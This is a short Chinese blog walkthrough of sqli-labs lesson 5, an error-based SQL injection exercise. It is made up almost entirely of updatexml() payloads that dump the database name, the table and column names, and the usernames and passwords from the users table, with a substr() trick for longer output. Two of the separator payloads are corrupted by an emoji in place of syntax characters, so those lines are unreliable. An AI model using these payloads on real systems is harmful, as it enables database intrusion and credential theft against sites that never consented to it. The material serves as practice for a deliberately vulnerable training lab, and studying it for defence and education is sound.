报错注入 sqli-lab lesson 5

1.判断是否存在注入

1.1. 输入1时,页面正常返回,输入 1'时,页面出现报错。说明很有可能存在漏洞。
1.2. 利用1 and 1=1、1 and 1=2和1'and '1'='1 、1'and '1'='2 对注入类型进行判断。

2.获取数据库名

输入 1'and updatexml(1,concat(0x7e,database()),1)%23,获取到数据库名为 security 。

3.获取数据库中表名

1.输入1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)%23,获取数据表名emails,referers,uagents,users

2.如果有很多表但是由于xpath报错最多显示32个字符,所以可以使用字符串截取函数 substr() 截取前32位,再从起始位32开始截取32位即可得出表名。比如:1'and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,32)),1)%23

4.获取表中字段名

1.获取 emails 表中的字段名,输入1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails' and table_schema='security')),1)%23

2.获取 users 表中的字段名,1'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema='security')),1)%23

5.获取表中记录

1.获取 users 表中记录,输入 1'and updatexml(1,concat(0x7e,(select group_concat(id,username,password)from users)),1)%23
加数据分割符:1'and updatexml(1,concat(0x7e,(select group_concat(concat(id,':',username,':',password,'😂 SEPARATOR '|') from users)),1)%23

2.获取表中更多记录,输入 1'and updatexml(1,concat(0x7e,substr((select group_concat(id,username,password) from users),32,32)),1)%23
加数据分割符:1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(id,':',username,':',password,'😂 SEPARATOR '|') from users),32,32)),1)%23

posted @ 2025-02-18 23:22  小圣爱学习  阅读(51)  评论(0)    收藏  举报